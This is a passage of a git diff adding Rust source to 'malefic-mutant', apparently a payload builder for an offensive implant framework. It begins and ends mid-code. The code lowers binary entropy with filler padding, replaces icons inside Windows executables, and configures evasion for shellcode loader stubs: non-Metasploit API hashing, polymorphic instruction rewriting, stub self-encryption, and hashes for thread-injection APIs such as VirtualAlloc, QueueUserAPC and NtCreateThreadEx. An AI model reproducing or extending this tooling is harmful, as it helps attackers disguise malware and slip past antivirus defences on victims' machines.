and total count. +fn entropy_from_freq(freq: &[u64; 256], total: u64) -> f64 { + if total == 0 { + return 0.0; + } + let len = total as f64; + let mut entropy = 0.0; + for &count in freq { + if count > 0 { + let p = count as f64 / len; + entropy -= p * p.log2(); + } + } + entropy +} + +/// Reduce entropy of data by appending low-entropy padding. +/// Returns the modified data and the final entropy value. +pub fn reduce_entropy( + data: &[u8], + threshold: f64, + strategy: ReduceStrategy, + max_growth: f64, +) -> (Vec, f64) { + let original_len = data.len(); + let max_size = (original_len as f64 * max_growth) as usize; + let mut result = data.to_vec(); + + let mut freq = [0u64; 256]; + for &b in &result { + freq[b as usize] += 1; + } + let mut total = result.len() as u64; + let mut current_entropy = entropy_from_freq(&freq, total); + + if current_entropy <= threshold { + return (result, current_entropy); + } + + let mut rng = rand::thread_rng(); + let check_interval = 4096; + let mut bytes_since_check: usize = 0; + + while current_entropy > threshold && result.len() < max_size { + let chunk_start = result.len(); + + match strategy { + ReduceStrategy::NullBytes => { + result.extend_from_slice(&[0u8; 4096]); + } + ReduceStrategy::Pokemon => { + for _ in 0..64 { + let idx = rng.gen_range(0..POKEMON_NAMES.len()); + result.extend_from_slice(POKEMON_NAMES[idx].as_bytes()); + result.push(b' '); + } + } + ReduceStrategy::RandomWords => { + for _ in 0..64 { + let word_len = rng.gen_range(3..=10); + for _ in 0..word_len { + result.push(rng.gen_range(b'a'..=b'z')); + } + result.push(b' '); + } + } + } + + for &b in &result[chunk_start..] { + freq[b as usize] += 1; + } + total = result.len() as u64; + bytes_since_check += result.len() - chunk_start; + + if bytes_since_check >= check_interval { + current_entropy = entropy_from_freq(&freq, total); + bytes_since_check = 0; + } + } + + current_entropy = entropy_from_freq(&freq, total); + (result, current_entropy) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_reduce_strategy_parse() { + assert!(matches!( + "null_bytes".parse::().unwrap(), + ReduceStrategy::NullBytes + )); + assert!(matches!( + "pokemon".parse::().unwrap(), + ReduceStrategy::Pokemon + )); + assert!(matches!( + "random_words".parse::().unwrap(), + ReduceStrategy::RandomWords + )); + assert!("invalid".parse::().is_err()); + } + + #[test] + fn test_reduce_null_bytes() { + // Create somewhat random data + let mut data = Vec::with_capacity(1024); + let mut rng = rand::thread_rng(); + for _ in 0..1024 { + data.push(rng.gen::()); + } + + let (result, entropy) = reduce_entropy(&data, 6.0, ReduceStrategy::NullBytes, 10.0); + assert!(entropy <= 6.0); + assert!(result.len() > data.len()); + } + + #[test] + fn test_reduce_already_low() { + let data = vec![0u8; 1024]; + let (result, entropy) = reduce_entropy(&data, 6.0, ReduceStrategy::NullBytes, 10.0); + assert_eq!(result.len(), data.len()); + assert!(entropy <= 6.0); + } +} diff --git a/malefic-mutant/src/tool/icon/ico_parser.rs b/malefic-mutant/src/tool/icon/ico_parser.rs new file mode 100644 index 0000000..adbc182 --- /dev/null +++ b/malefic-mutant/src/tool/icon/ico_parser.rs @@ -0,0 +1,180 @@ +/// ICO file format parser. +/// +/// ICO file structure: +/// ICONDIR header (6 bytes): +/// - reserved: u16 (always 0) +/// - type: u16 (1 = ICO, 2 = CUR) +/// - count: u16 (number of images) +/// ICONDIRENTRY array (16 bytes each): +/// - width: u8 (0 = 256) +/// - height: u8 (0 = 256) +/// - color_count: u8 +/// - reserved: u8 +/// - planes: u16 +/// - bit_count: u16 +/// - bytes_in_res: u32 (size of image data) +/// - image_offset: u32 (offset from file start) +/// Image data follows. +use anyhow::{anyhow, Result}; + +/// Parsed ICO directory entry. +#[derive(Debug, Clone)] +#[allow(dead_code)] +pub struct IcoEntry { + pub width: u8, + pub height: u8, + pub color_count: u8, + pub reserved: u8, + pub planes: u16, + pub bit_count: u16, + pub bytes_in_res: u32, + pub image_offset: u32, +} + +impl IcoEntry { + /// Actual width (0 means 256). + #[allow(dead_code)] + pub fn actual_width(&self) -> u32 { + if self.width == 0 { + 256 + } else { + self.width as u32 + } + } + + /// Actual height (0 means 256). + #[allow(dead_code)] + pub fn actual_height(&self) -> u32 { + if self.height == 0 { + 256 + } else { + self.height as u32 + } + } +} + +/// Parsed ICO file. +#[derive(Debug, Clone)] +pub struct IcoFile { + pub image_type: u16, + pub entries: Vec, + pub image_data: Vec>, +} + +/// Parse an ICO file from raw bytes. +pub fn parse_ico(data: &[u8]) -> Result { + if data.len() < 6 { + return Err(anyhow!("ICO file too small (< 6 bytes)")); + } + + let reserved = u16::from_le_bytes([data[0], data[1]]); + let image_type = u16::from_le_bytes([data[2], data[3]]); + let count = u16::from_le_bytes([data[4], data[5]]); + + if reserved != 0 { + return Err(anyhow!("Invalid ICO header: reserved field is not 0")); + } + + if image_type != 1 && image_type != 2 { + return Err(anyhow!( + "Invalid ICO type: {} (expected 1=ICO or 2=CUR)", + image_type + )); + } + + let header_size = 6 + count as usize * 16; + if data.len() < header_size { + return Err(anyhow!( + "ICO file truncated: need {} bytes for header, got {}", + header_size, + data.len() + )); + } + + let mut entries = Vec::with_capacity(count as usize); + let mut image_data = Vec::with_capacity(count as usize); + + for i in 0..count as usize { + let offset = 6 + i * 16; + let entry = IcoEntry { + width: data[offset], + height: data[offset + 1], + color_count: data[offset + 2], + reserved: data[offset + 3], + planes: u16::from_le_bytes([data[offset + 4], data[offset + 5]]), + bit_count: u16::from_le_bytes([data[offset + 6], data[offset + 7]]), + bytes_in_res: u32::from_le_bytes([ + data[offset + 8], + data[offset + 9], + data[offset + 10], + data[offset + 11], + ]), + image_offset: u32::from_le_bytes([ + data[offset + 12], + data[offset + 13], + data[offset + 14], + data[offset + 15], + ]), + }; + + let img_start = entry.image_offset as usize; + let img_end = img_start + entry.bytes_in_res as usize; + + if img_end > data.len() { + return Err(anyhow!( + "ICO entry {} image data out of bounds: offset={}, size={}, file_len={}", + i, + img_start, + entry.bytes_in_res, + data.len() + )); + } + + image_data.push(data[img_start..img_end].to_vec()); + entries.push(entry); + } + + Ok(IcoFile { + image_type, + entries, + image_data, + }) +} + +/// Build a GRPICONDIR structure for PE resource (RT_GROUP_ICON). +/// +/// GRPICONDIR: +/// reserved: u16 (0) +/// type: u16 (1) +/// count: u16 +/// GRPICONDIRENTRY array (14 bytes each): +/// - width: u8 +/// - height: u8 +/// - color_count: u8 +/// - reserved: u8 +/// - planes: u16 +/// - bit_count: u16 +/// - bytes_in_res: u32 +/// - id: u16 (RT_ICON resource ID) +#[allow(dead_code)] +pub fn build_grp_icon_dir(ico: &IcoFile, base_id: u16) -> Vec { + let count = ico.entries.len() as u16; + let mut buf = Vec::with_capacity(6 + count as usize * 14); + + buf.extend_from_slice(&0u16.to_le_bytes()); // reserved + buf.extend_from_slice(&ico.image_type.to_le_bytes()); // type + buf.extend_from_slice(&count.to_le_bytes()); // count + + for (i, entry) in ico.entries.iter().enumerate() { + buf.push(entry.width); + buf.push(entry.height); + buf.push(entry.color_count); + buf.push(0); // reserved + buf.extend_from_slice(&entry.planes.to_le_bytes()); + buf.extend_from_slice(&entry.bit_count.to_le_bytes()); + buf.extend_from_slice(&entry.bytes_in_res.to_le_bytes()); + buf.extend_from_slice(&(base_id + i as u16).to_le_bytes()); // nID + } + + buf +} diff --git a/malefic-mutant/src/tool/icon/mod.rs b/malefic-mutant/src/tool/icon/mod.rs new file mode 100644 index 0000000..efe7b5a --- /dev/null +++ b/malefic-mutant/src/tool/icon/mod.rs @@ -0,0 +1,7 @@ +pub mod ico_parser; +pub mod replace; +pub mod resource; + +#[allow(unused_imports)] +pub use ico_parser::{parse_ico, IcoFile}; +pub use replace::{extract_icon, replace_icon}; diff --git a/malefic-mutant/src/tool/icon/replace.rs b/malefic-mutant/src/tool/icon/replace.rs new file mode 100644 index 0000000..d054a18 --- /dev/null +++ b/malefic-mutant/src/tool/icon/replace.rs @@ -0,0 +1,298 @@ +/// Icon replacement logic for PE files. +/// +/// Strategy: in-place replacement. +/// - Parse the ICO file to get individual icon images. +/// - Parse the PE resource directory to find RT_ICON and RT_GROUP_ICON entries. +/// - For each icon image: if new data fits within existing allocation, overwrite in-place. +/// - Update RT_GROUP_ICON to match the new icon entries. +/// - If new icon data is larger than existing allocation, return an error. +use anyhow::{anyhow, Result}; + +use super::ico_parser::{parse_ico, IcoFile}; +use super::resource::{ + find_group_icon_entries, find_rsrc_section, parse_grp_icon_dir, parse_resource_directory, +}; + +/// Replace the icon in a PE file with the icon from an ICO file. +pub fn replace_icon(pe_path: &str, ico_path: &str, output_path: &str) -> Result<()> { + let ico_data = std::fs::read(ico_path) + .map_err(|e| anyhow!("Failed to read ICO file '{}': {}", ico_path, e))?; + let ico = parse_ico(&ico_data)?; + + let pe_data = std::fs::read(pe_path) + .map_err(|e| anyhow!("Failed to read PE file '{}': {}", pe_path, e))?; + + let rsrc_info = find_rsrc_section(&pe_data)?; + + // Extract .rsrc section data + let rsrc_start = rsrc_info.file_offset as usize; + let rsrc_end = rsrc_start + rsrc_info.raw_size as usize; + if rsrc_end > pe_data.len() { + return Err(anyhow!(".rsrc section extends beyond file")); + } + let rsrc_data = &pe_data[rsrc_start..rsrc_end]; + + // Parse resource directory tree + let resource_tree = parse_resource_directory(rsrc_data, &rsrc_info)?; + + // Find existing group icon entries to determine icon IDs + let group_icon_entries = find_group_icon_entries(&resource_tree); + if group_icon_entries.is_empty() { + return Err(anyhow!( + "No RT_GROUP_ICON entries found in PE resource directory" + )); + } + let grp_entry = group_icon_entries[0]; + let grp_data_offset = grp_entry.data_file_offset as usize; + let grp_data_size = grp_entry.size as usize; + + if grp_data_offset + grp_data_size > pe_data.len() { + return Err(anyhow!("RT_GROUP_ICON data out of bounds")); + } + let grp_data = &pe_data[grp_data_offset..grp_data_offset + grp_data_size]; + let existing_grp_entries = parse_grp_icon_dir(grp_data)?; + + // Create a map of icon ID -> data entry info for existing icons + // The icon entries are nested: RT_ICON -> name -> language -> data + // We need to match by traversing the tree + let mut icon_data_map: Vec<(u16, u64, u32)> = Vec::new(); // (id, file_offset, existing_size) + for grp_e in &existing_grp_entries { + // Find the matching RT_ICON entry by traversing the tree + for type_entry in &resource_tree { + if type_entry.id == super::resource::RT_ICON { + for name_entry in &type_entry.children { + if name_entry.id == grp_e.id as u32 { + // Descend to language level + for lang_entry in &name_entry.children { + if let Some(ref data) = lang_entry.data { + icon_data_map.push((grp_e.id, data.data_file_offset, data.size)); + } + } + // Also check if name_entry itself has data (2-level tree) + if let Some(ref data) = name_entry.data { + icon_data_map.push((grp_e.id, data.data_file_offset, data.size)); + } + } + } + } + } + } + + // Sort by ID + icon_data_map.sort_by_key(|&(id, _, _)| id); + icon_data_map.dedup_by_key(|e| e.0); + + // Now replace: copy PE data, overwrite icon data in-place + let mut output_data = pe_data.clone(); + + let num_to_replace = ico.entries.len().min(icon_data_map.len()); + + for i in 0..num_to_replace { + let (_existing_id, file_offset, existing_size) = icon_data_map[i]; + let new_data = &ico.image_data[i]; + + if new_data.len() > existing_size as usize { + return Err(anyhow!( + "New icon image {} is {} bytes but existing slot is only {} bytes. \ + Icon must be same size or smaller than the original.", + i, + new_data.len(), + existing_size + )); + } + + let offset = file_offset as usize; + // Write new icon data + output_data[offset..offset + new_data.len()].copy_from_slice(new_data); + // Zero-fill remaining space + for j in new_data.len()..existing_size as usize { + output_data[offset + j] = 0; + } + + // Update the resource data entry's Size field to match new data size + // Find the corresponding data entry and update its size in the .rsrc section + for type_entry in &resource_tree { + if type_entry.id == super::resource::RT_ICON { + for name_entry in &type_entry.children { + if name_entry.id == icon_data_map[i].0 as u32 { + for lang_entry in &name_entry.children { + if let Some(ref data) = lang_entry.data { + if data.data_file_offset == file_offset { + // Update size at entry_file_offset + 4 + let size_offset = data.entry_file_offset as usize + 4; + if size_offset + 4 <= output_data.len() { + let new_size = new_data.len() as u32; + output_data[size_offset..size_offset + 4] + .copy_from_slice(&new_size.to_le_bytes()); + } + } + } + } + if let Some(ref data) = name_entry.data { + if data.data_file_offset == file_offset { + let size_offset = data.entry_file_offset as usize + 4; + if size_offset + 4 <= output_data.len() { + let new_size = new_data.len() as u32; + output_data[size_offset..size_offset + 4] + .copy_from_slice(&new_size.to_le_bytes()); + } + } + } + } + } + } + } + } + + // Build new group icon dir using new ICO entries but existing IDs + let new_grp_dir = build_replacement_grp_icon_dir(&ico, &existing_grp_entries); + if new_grp_dir.len() <= grp_data_size { + let offset = grp_data_offset; + output_data[offset..offset + new_grp_dir.len()].copy_from_slice(&new_grp_dir); + // Zero-fill remaining + for j in new_grp_dir.len()..grp_data_size { + output_data[offset + j] = 0; + } + // Update the group icon data entry size + let grp_entry_size_offset = grp_entry.entry_file_offset as usize + 4; + if grp_entry_size_offset + 4 <= output_data.len() { + let new_size = new_grp_dir.len() as u32; + output_data[grp_entry_size_offset..grp_entry_size_offset + 4] + .copy_from_slice(&new_size.to_le_bytes()); + } + } + + std::fs::write(output_path, &output_data)?; + + Ok(()) +} + +/// Build a replacement GRPICONDIR that uses existing icon resource IDs. +fn build_replacement_grp_icon_dir( + ico: &IcoFile, + existing_entries: &[super::resource::GrpIconDirEntry], +) -> Vec { + let count = ico.entries.len().min(existing_entries.len()) as u16; + let mut buf = Vec::with_capacity(6 + count as usize * 14); + + buf.extend_from_slice(&0u16.to_le_bytes()); // reserved + buf.extend_from_slice(&ico.image_type.to_le_bytes()); // type + buf.extend_from_slice(&count.to_le_bytes()); // count + + for i in 0..count as usize { + let ico_entry = &ico.entries[i]; + let existing_id = existing_entries[i].id; + + buf.push(ico_entry.width); + buf.push(ico_entry.height); + buf.push(ico_entry.color_count); + buf.push(0); // reserved + buf.extend_from_slice(&ico_entry.planes.to_le_bytes()); + buf.extend_from_slice(&ico_entry.bit_count.to_le_bytes()); + buf.extend_from_slice(&ico_entry.bytes_in_res.to_le_bytes()); + buf.extend_from_slice(&existing_id.to_le_bytes()); // keep existing resource ID + } + + buf +} + +/// Extract icons from a PE file and save as an ICO file. +pub fn extract_icon(pe_path: &str, output_ico_path: &str) -> Result<()> { + let pe_data = std::fs::read(pe_path) + .map_err(|e| anyhow!("Failed to read PE file '{}': {}", pe_path, e))?; + + let rsrc_info = find_rsrc_section(&pe_data)?; + let rsrc_start = rsrc_info.file_offset as usize; + let rsrc_end = rsrc_start + rsrc_info.raw_size as usize; + if rsrc_end > pe_data.len() { + return Err(anyhow!(".rsrc section extends beyond file")); + } + let rsrc_data = &pe_data[rsrc_start..rsrc_end]; + + let resource_tree = parse_resource_directory(rsrc_data, &rsrc_info)?; + + // Find RT_GROUP_ICON + let group_icon_entries = find_group_icon_entries(&resource_tree); + if group_icon_entries.is_empty() { + return Err(anyhow!("No RT_GROUP_ICON found")); + } + + let grp_entry = group_icon_entries[0]; + let grp_data_offset = grp_entry.data_file_offset as usize; + let grp_data_size = grp_entry.size as usize; + let grp_data = &pe_data[grp_data_offset..grp_data_offset + grp_data_size]; + let grp_entries = parse_grp_icon_dir(grp_data)?; + + // Collect icon image data using resource IDs + let mut icon_images: Vec<(u8, u8, u8, u16, u16, Vec)> = Vec::new(); + + for grp_e in &grp_entries { + // Find matching RT_ICON by id + for type_entry in &resource_tree { + if type_entry.id == super::resource::RT_ICON { + for name_entry in &type_entry.children { + if name_entry.id == grp_e.id as u32 { + // Get data from language level + let data_entry = name_entry + .children + .iter() + .find_map(|lang| lang.data.as_ref()) + .or(name_entry.data.as_ref()); + + if let Some(de) = data_entry { + let start = de.data_file_offset as usize; + let end = start + de.size as usize; + if end <= pe_data.len() { + icon_images.push(( + grp_e.width, + grp_e.height, + grp_e.color_count, + grp_e.planes, + grp_e.bit_count, + pe_data[start..end].to_vec(), + )); + } + } + } + } + } + } + } + + if icon_images.is_empty() { + return Err(anyhow!("No icon image data found")); + } + + // Build ICO file + let count = icon_images.len() as u16; + let header_size = 6 + count as u32 * 16; + let mut ico_buf = Vec::new(); + + // ICONDIR header + ico_buf.extend_from_slice(&0u16.to_le_bytes()); // reserved + ico_buf.extend_from_slice(&1u16.to_le_bytes()); // type = ICO + ico_buf.extend_from_slice(&count.to_le_bytes()); + + // Calculate offsets for image data + let mut current_offset = header_size; + for (width, height, color_count, planes, bit_count, ref data) in &icon_images { + ico_buf.push(*width); + ico_buf.push(*height); + ico_buf.push(*color_count); + ico_buf.push(0); // reserved + ico_buf.extend_from_slice(&planes.to_le_bytes()); + ico_buf.extend_from_slice(&bit_count.to_le_bytes()); + ico_buf.extend_from_slice(&(data.len() as u32).to_le_bytes()); + ico_buf.extend_from_slice(¤t_offset.to_le_bytes()); + current_offset += data.len() as u32; + } + + // Image data + for (_, _, _, _, _, ref data) in &icon_images { + ico_buf.extend_from_slice(data); + } + + std::fs::write(output_ico_path, &ico_buf)?; + + Ok(()) +} diff --git a/malefic-mutant/src/tool/icon/resource.rs b/malefic-mutant/src/tool/icon/resource.rs new file mode 100644 index 0000000..f364233 --- /dev/null +++ b/malefic-mutant/src/tool/icon/resource.rs @@ -0,0 +1,262 @@ +/// PE resource directory tree parser for icon manipulation. +/// +/// PE resource directory structure (three-level tree): +/// Level 1: Resource type (RT_ICON=3, RT_GROUP_ICON=14, etc.) +/// Level 2: Resource name/ID +/// Level 3: Language +/// +/// Each directory entry is 8 bytes: +/// - NameOffsetOrIntegerID: u32 (high bit set = name offset, else integer ID) +/// - DataEntryOrSubdirectoryOffset: u32 (high bit set = subdirectory, else data entry) +/// +/// IMAGE_RESOURCE_DIRECTORY (16 bytes): +/// - Characteristics: u32 +/// - TimeDateStamp: u32 +/// - MajorVersion: u16 +/// - MinorVersion: u16 +/// - NumberOfNamedEntries: u16 +/// - NumberOfIdEntries: u16 +/// +/// IMAGE_RESOURCE_DATA_ENTRY (16 bytes): +/// - OffsetToData: u32 (RVA) +/// - Size: u32 +/// - CodePage: u32 +/// - Reserved: u32 +use anyhow::{anyhow, Result}; +use byteorder::{LittleEndian, ReadBytesExt}; +use std::io::{Cursor, Seek, SeekFrom}; + +/// Resource type constants. +pub const RT_ICON: u32 = 3; +pub const RT_GROUP_ICON: u32 = 14; + +/// A parsed resource data entry pointing to actual data. +#[derive(Debug, Clone)] +#[allow(dead_code)] +pub struct ResourceDataEntry { + /// RVA of the resource data. + pub rva: u32, + /// Size of the resource data. + pub size: u32, + /// File offset of this data entry structure (for rewriting). + pub entry_file_offset: u64, + /// File offset of the actual data (rva converted). + pub data_file_offset: u64, +} + +/// A parsed resource entry at any level. +#[derive(Debug, Clone)] +pub struct ResourceEntry { + /// Integer ID or name ID. + pub id: u32, + /// If this is a leaf: the data entry. + pub data: Option, + /// If this is a directory: child entries. + pub children: Vec, +} + +/// Information about the .rsrc section. +#[derive(Debug, Clone)] +pub struct RsrcSectionInfo { + /// Virtual address of .rsrc section. + pub virtual_address: u32, + /// File offset of .rsrc section. + pub file_offset: u32, + /// Size of .rsrc section on disk. + pub raw_size: u32, +} + +impl RsrcSectionInfo { + /// Convert an RVA within .rsrc to a file offset. + pub fn rva_to_file_offset(&self, rva: u32) -> u64 { + (rva - self.virtual_address + self.file_offset) as u64 + } + + /// Convert a file offset within .rsrc to an RVA. + #[allow(dead_code)] + pub fn file_offset_to_rva(&self, offset: u64) -> u32 { + (offset as u32 - self.file_offset) + self.virtual_address + } +} + +/// Find the .rsrc section in a PE file using goblin. +pub fn find_rsrc_section(pe_data: &[u8]) -> Result { + let pe = goblin::pe::PE::parse(pe_data).map_err(|e| anyhow!("Failed to parse PE: {}", e))?; + + for section in &pe.sections { + let name = String::from_utf8_lossy(§ion.name); + if name.starts_with(".rsrc") { + return Ok(RsrcSectionInfo { + virtual_address: section.virtual_address, + file_offset: section.pointer_to_raw_data, + raw_size: section.size_of_raw_data, + }); + } + } + + Err(anyhow!("No .rsrc section found in PE file")) +} + +/// Parse the resource directory tree from .rsrc section data. +/// `rsrc_data` is the raw bytes of the .rsrc section. +/// Returns the top-level resource entries. +pub fn parse_resource_directory( + rsrc_data: &[u8], + rsrc_info: &RsrcSectionInfo, +) -> Result> { + let mut cursor = Cursor::new(rsrc_data); + parse_directory_level(&mut cursor, 0, rsrc_data, rsrc_info) +} + +fn parse_directory_level( + cursor: &mut Cursor<&[u8]>, + offset: u32, + rsrc_data: &[u8], + rsrc_info: &RsrcSectionInfo, +) -> Result> { + cursor.seek(SeekFrom::Start(offset as u64))?; + + // IMAGE_RESOURCE_DIRECTORY (16 bytes) + let _characteristics = cursor.read_u32::()?; + let _timestamp = cursor.read_u32::()?; + let _major_version = cursor.read_u16::()?; + let _minor_version = cursor.read_u16::()?; + let num_named = cursor.read_u16::()?; + let num_id = cursor.read_u16::()?; + + let total_entries = num_named as u32 + num_id as u32; + let mut entries = Vec::with_capacity(total_entries as usize); + + for _ in 0..total_entries { + let name_or_id = cursor.read_u32::()?; + let data_or_subdir = cursor.read_u32::()?; + + let id = name_or_id & 0x7FFFFFFF; + let is_subdir = (data_or_subdir & 0x80000000) != 0; + + if is_subdir { + let subdir_offset = data_or_subdir & 0x7FFFFFFF; + let saved_pos = cursor.position(); + let children = parse_directory_level(cursor, subdir_offset, rsrc_data, rsrc_info)?; + cursor.seek(SeekFrom::Start(saved_pos))?; + entries.push(ResourceEntry { + id, + data: None, + children, + }); + } else { + // Data entry + let data_entry_offset = data_or_subdir; + let saved_pos = cursor.position(); + cursor.seek(SeekFrom::Start(data_entry_offset as u64))?; + + let rva = cursor.read_u32::()?; + let size = cursor.read_u32::()?; + let _code_page = cursor.read_u32::()?; + let _reserved = cursor.read_u32::()?; + + let data_file_offset = rsrc_info.rva_to_file_offset(rva); + let entry_file_offset = rsrc_info.file_offset as u64 + data_entry_offset as u64; + + cursor.seek(SeekFrom::Start(saved_pos))?; + entries.push(ResourceEntry { + id, + data: Some(ResourceDataEntry { + rva, + size, + entry_file_offset, + data_file_offset, + }), + children: Vec::new(), + }); + } + } + + Ok(entries) +} + +/// Find all RT_ICON data entries in the resource tree. +#[allow(dead_code)] +pub fn find_icon_entries(entries: &[ResourceEntry]) -> Vec<&ResourceDataEntry> { + let mut result = Vec::new(); + for entry in entries { + if entry.id == RT_ICON { + collect_data_entries(&entry.children, &mut result); + } + } + result +} + +/// Find all RT_GROUP_ICON data entries in the resource tree. +pub fn find_group_icon_entries(entries: &[ResourceEntry]) -> Vec<&ResourceDataEntry> { + let mut result = Vec::new(); + for entry in entries { + if entry.id == RT_GROUP_ICON { + collect_data_entries(&entry.children, &mut result); + } + } + result +} + +/// Recursively collect all leaf data entries. +fn collect_data_entries<'a>(entries: &'a [ResourceEntry], result: &mut Vec<&'a ResourceDataEntry>) { + for entry in entries { + if let Some(ref data) = entry.data { + result.push(data); + } + if !entry.children.is_empty() { + collect_data_entries(&entry.children, result); + } + } +} + +/// Parse a GRPICONDIR from raw resource data to extract icon IDs and sizes. +#[derive(Debug, Clone)] +#[allow(dead_code)] +pub struct GrpIconDirEntry { + pub width: u8, + pub height: u8, + pub color_count: u8, + pub planes: u16, + pub bit_count: u16, + pub bytes_in_res: u32, + pub id: u16, +} + +pub fn parse_grp_icon_dir(data: &[u8]) -> Result> { + if data.len() < 6 { + return Err(anyhow!("GRPICONDIR too small")); + } + + let count = u16::from_le_bytes([data[4], data[5]]) as usize; + let expected_size = 6 + count * 14; + + if data.len() < expected_size { + return Err(anyhow!( + "GRPICONDIR truncated: need {} bytes, got {}", + expected_size, + data.len() + )); + } + + let mut entries = Vec::with_capacity(count); + for i in 0..count { + let off = 6 + i * 14; + entries.push(GrpIconDirEntry { + width: data[off], + height: data[off + 1], + color_count: data[off + 2], + planes: u16::from_le_bytes([data[off + 4], data[off + 5]]), + bit_count: u16::from_le_bytes([data[off + 6], data[off + 7]]), + bytes_in_res: u32::from_le_bytes([ + data[off + 8], + data[off + 9], + data[off + 10], + data[off + 11], + ]), + id: u16::from_le_bytes([data[off + 12], data[off + 13]]), + }); + } + + Ok(entries) +} diff --git a/malefic-mutant/src/tool/loader/bdf/evasion.rs b/malefic-mutant/src/tool/loader/bdf/evasion.rs new file mode 100644 index 0000000..1166ea8 --- /dev/null +++ b/malefic-mutant/src/tool/loader/bdf/evasion.rs @@ -0,0 +1,383 @@ +//! Stub evasion types: hash algorithm selection, polymorphic level, encryption toggle. +#![allow(dead_code)] + +use anyhow::{anyhow, Result}; + +/// Hash algorithm for block_api resolver +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum HashAlgorithm { + /// Original Metasploit ror13 (default, backward compatible) + Ror13, + /// DJB2: hash = hash * 33 + c, init = 5381 + Djb2, + /// FNV-1a: hash = (hash ^ c) * 0x01000193, init = 0x811c9dc5 + Fnv1a, +} + +impl HashAlgorithm { + pub fn from_str(s: &str) -> Result { + match s.to_lowercase().as_str() { + "ror13" => Ok(Self::Ror13), + "djb2" => Ok(Self::Djb2), + "fnv1a" | "fnv" => Ok(Self::Fnv1a), + _ => Err(anyhow!( + "Unknown hash algorithm: '{}'. Available: ror13, djb2, fnv1a", + s + )), + } + } + + pub fn list() -> &'static [&'static str] { + &["ror13", "djb2", "fnv1a"] + } + + /// Pick a random non-ror13 algorithm + pub fn random_non_default() -> Self { + use std::time::{SystemTime, UNIX_EPOCH}; + let seed = SystemTime::now() + .duration_since(UNIX_EPOCH) + .unwrap() + .as_nanos() as usize; + let choices = [Self::Djb2, Self::Fnv1a]; + choices[seed % choices.len()] + } +} + +impl std::fmt::Display for HashAlgorithm { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + match self { + Self::Ror13 => write!(f, "ror13"), + Self::Djb2 => write!(f, "djb2"), + Self::Fnv1a => write!(f, "fnv1a"), + } + } +} + +/// Polymorphic transformation level +#[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord)] +pub enum PolyLevel { + /// No polymorphism (deterministic output) + None, + /// Register reallocation only + RegShuffle, + /// Full: reg shuffle + equivalent instruction substitution + junk insertion + Full, +} + +impl PolyLevel { + pub fn from_str(s: &str) -> Result { + match s.to_lowercase().as_str() { + "none" => Ok(Self::None), + "reg" | "regshuffle" | "reg_shuffle" => Ok(Self::RegShuffle), + "full" => Ok(Self::Full), + _ => Err(anyhow!( + "Unknown poly level: '{}'. Available: none, reg, full", + s + )), + } + } +} + +impl std::fmt::Display for PolyLevel { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + match self { + Self::None => write!(f, "none"), + Self::RegShuffle => write!(f, "reg_shuffle"), + Self::Full => write!(f, "full"), + } + } +} + +/// Stub evasion configuration (A+B+C layers combined) +#[derive(Debug, Clone)] +pub struct StubEvasion { + /// A-layer: hash algorithm selection + pub hash_algorithm: HashAlgorithm, + /// B-layer: polymorphic transformation level + pub poly_level: PolyLevel, + /// C-layer: stub self-decryption wrapper + pub encrypt: bool, + /// RNG seed (0 = random from OS) + pub seed: u64, +} + +impl Default for StubEvasion { + fn default() -> Self { + Self { + hash_algorithm: HashAlgorithm::Ror13, + poly_level: PolyLevel::None, + encrypt: false, + seed: 0, + } + } +} + +impl StubEvasion { + /// Check if any evasion is enabled + pub fn is_enabled(&self) -> bool { + self.hash_algorithm != HashAlgorithm::Ror13 + || self.poly_level != PolyLevel::None + || self.encrypt + } + + /// Create from evasion preset string + pub fn from_preset(preset: &str) -> Result { + match preset.to_lowercase().as_str() { + "none" => Ok(Self::default()), + "basic" => Ok(Self { + hash_algorithm: HashAlgorithm::random_non_default(), + poly_level: PolyLevel::None, + encrypt: false, + seed: 0, + }), + "poly" => Ok(Self { + hash_algorithm: HashAlgorithm::random_non_default(), + poly_level: PolyLevel::Full, + encrypt: false, + seed: 0, + }), + "full" => Ok(Self { + hash_algorithm: HashAlgorithm::random_non_default(), + poly_level: PolyLevel::Full, + encrypt: true, + seed: 0, + }), + _ => Err(anyhow!( + "Unknown evasion preset: '{}'. Available: none, basic, poly, full", + preset + )), + } + } +} + +/// Pre-computed API hash table for a specific algorithm +#[derive(Debug, Clone)] +pub struct ApiHashTable { + pub virtual_alloc: u32, + pub create_thread: u32, + pub wait_for_single_object: u32, + pub sleep: u32, + pub convert_thread_to_fiber: u32, + pub create_fiber: u32, + pub switch_to_fiber: u32, + pub queue_user_apc: u32, + pub load_library_a: u32, + pub enum_system_locales_a: u32, + pub nt_test_alert: u32, + pub nt_create_thread_ex: u32, + pub tp_alloc_work: u32, + pub tp_post_work: u32, + pub tp_release_work: u32, + pub enum_fonts_a: u32, + pub get_dc: u32, +} + +// ===== Hash computation functions ===== + +/// Compute ror13 module hash (UTF-16LE with null terminator, uppercase) +fn ror13_module_hash(name: &str) -> u32 { + let mut hash: u32 = 0; + // Process as UTF-16LE bytes (including null terminator) + let upper = name.to_uppercase(); + let utf16: Vec = upper.encode_utf16().chain(std::iter::once(0u16)).collect(); + let bytes: Vec = utf16.iter().flat_map(|c| c.to_le_bytes()).collect(); + for &b in &bytes { + hash = hash.rotate_right(13); + hash = hash.wrapping_add(b as u32); + } + hash +} + +/// Compute ror13 function hash (ASCII with null terminator) +fn ror13_func_hash(name: &str) -> u32 { + let mut hash: u32 = 0; + for &b in name.as_bytes().iter().chain(std::iter::once(&0u8)) { + hash = hash.rotate_right(13); + hash = hash.wrapping_add(b as u32); + } + hash +} + +/// Compute DJB2 module hash (UTF-16LE with null terminator, uppercase) +fn djb2_module_hash(name: &str) -> u32 { + let mut hash: u32 = 5381; + let upper = name.to_uppercase(); + let utf16: Vec = upper.encode_utf16().chain(std::iter::once(0u16)).collect(); + let bytes: Vec = utf16.iter().flat_map(|c| c.to_le_bytes()).collect(); + for &b in &bytes { + hash = hash.wrapping_mul(33).wrapping_add(b as u32); + } + hash +} + +/// Compute DJB2 function hash (ASCII with null terminator) +fn djb2_func_hash(name: &str) -> u32 { + let mut hash: u32 = 5381; + for &b in name.as_bytes().iter().chain(std::iter::once(&0u8)) { + hash = hash.wrapping_mul(33).wrapping_add(b as u32); + } + hash +} + +/// Compute FNV-1a module hash (UTF-16LE with 